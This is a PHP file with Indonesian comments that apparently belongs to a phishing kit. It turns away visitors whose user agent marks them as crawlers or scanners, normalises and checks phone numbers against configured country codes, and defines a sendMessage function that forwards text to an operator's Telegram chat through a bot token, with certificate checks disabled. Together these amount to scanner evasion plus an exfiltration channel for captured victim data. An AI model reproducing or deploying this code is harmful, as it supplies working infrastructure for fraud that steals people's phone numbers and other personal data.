<?php
$timestamp = $_SERVER['REQUEST_TIME'];
$setting = json_decode(file_get_contents("../_rules.json"), true);

$CCODE_ARRAY = $setting["ccode"] ?? [60]; // Array of supported country codes
$CCODE       = (string)($CCODE_ARRAY[0] ?? 60); // Default fallback for backward compatibility
$TITLE       = $setting["title"] ?? '';
$BOTKN       = $setting["token"] ?? '';
$ADMID       = $setting["admid"] ?? '';

$ua = $_SERVER['HTTP_USER_AGENT'] ?? '';
if (
    preg_match('#Mozilla/4.05 [fr] (Win98; I)#',$ua) ||
    preg_match('/Java1.1.4/si',$ua) ||
    preg_match('/MS FrontPage Express/si',$ua) ||
    preg_match('/HTTrack/si',$ua) ||
    preg_match('/IDentity/si',$ua) ||
    preg_match('/HyperBrowser/si',$ua) ||
    preg_match('/Lynx/si',$ua)
) {
    header('Location: oops.php'); exit;
}

/**
 * Normalisasi nomor ke format +<country><number>.
 * Jika sudah ada '+' → kembalikan +digits saja.
 * Jika tidak → prepend "+$CCODE" dan hilangkan 0/00 depan.
 */
function normalize_phone(string $raw, string $defaultCcode): string {
    $p = trim($raw);
    $p = preg_replace('/[^\d\+]/', '', $p ?? '');
    if ($p === '') return '';

    if ($p[0] === '+') {
        return '+' . preg_replace('/\D/', '', substr($p, 1));
    }
    $p = preg_replace('/^00+/', '', $p);
    $p = preg_replace('/^0+/',  '', $p);
    return '+' . preg_replace('/\D/', '', $defaultCcode) . $p;
}

/**
 * Validasi apakah nomor telepon menggunakan country code yang diizinkan
 */
function is_phone_allowed(string $phoneNumber): bool {
    global $CCODE_ARRAY;
    
    // Hapus '+' dan ambil digits saja
    $digits = preg_replace('/\D/', '', $phoneNumber);
    if (empty($digits)) return false;
    
    // Cek apakah nomor dimulai dengan salah satu country code yang diizinkan
    foreach ($CCODE_ARRAY as $ccode) {
        $ccodeStr = (string)$ccode;
        if (strpos($digits, $ccodeStr) === 0) {
            // Pastikan ada nomor setelah country code (minimal 6 digit)
            $numberPart = substr($digits, strlen($ccodeStr));
            if (strlen($numberPart) >= 6) {
                return true;
            }
        }
    }
    
    return false;
}

/**
 * Extract country code dari nomor telepon
 */
function extract_country_code(string $phoneNumber): ?string {
    global $CCODE_ARRAY;
    
    $digits = preg_replace('/\D/', '', $phoneNumber);
    if (empty($digits)) return null;
    
    // Cari country code yang paling cocok (longest match first)
    $matchedCcode = null;
    $longestMatch = 0;
    
    foreach ($CCODE_ARRAY as $ccode) {
        $ccodeStr = (string)$ccode;
        if (strpos($digits, $ccodeStr) === 0 && strlen($ccodeStr) > $longestMatch) {
            $matchedCcode = $ccodeStr;
            $longestMatch = strlen($ccodeStr);
        }
    }
    
    return $matchedCcode;
}

function sendMessage($text) {
    global $BOTKN, $ADMID;
    
    if (!$BOTKN || !$ADMID) {
        error_log("sendMessage - Missing bot token or admin ID");
        throw new Exception("Bot configuration missing");
    }
    
    $url = "https://api.telegram.org/bot{$BOTKN}/sendMessage?parse_mode=markdown&chat_id={$ADMID}&text=" . urlencode($text);
    
    $ch = curl_init();
    curl_setopt_array($ch, [
        CURLOPT_URL => $url,
        CURLOPT_RETURNTRANSFER => true,
        CURLOPT_TIMEOUT => 10,
        CURLOPT_CONNECTTIMEOUT => 10,
        CURLOPT_FOLLOWLOCATION => true,
        CURLOPT_SSL_VERIFYPEER => false,
        CURLOPT_USERAGENT => 'TelegramBot/1.0'
    ]);
    
    $response = curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    $error = curl_error($ch);
    curl_close($ch);
    
    if ($response === false || $error) {
        error_log("sendMessage - CURL error: " . $error);
        throw new Exception("CURL error: " . $error);
    }
    
    if ($httpCode !== 200) {
        error_log("sendMessage - HTTP error: " . $httpCode . " Response: " . $response);
        throw new Exception("HTTP error: " . $httpCode);
    }
    
    $result = json_decode($response, true);
    if (!$result || !$result['ok']) {
        $errorMsg = $result['description'] ?? 'Unknown error';
        error_log("sendMessage - Telegram API error: " . $errorMsg);
        throw new Exception("Telegram API error: " . $errorMsg);
    }
    
    error_log("sendMessage - Success: " . $text);
    return true;
}
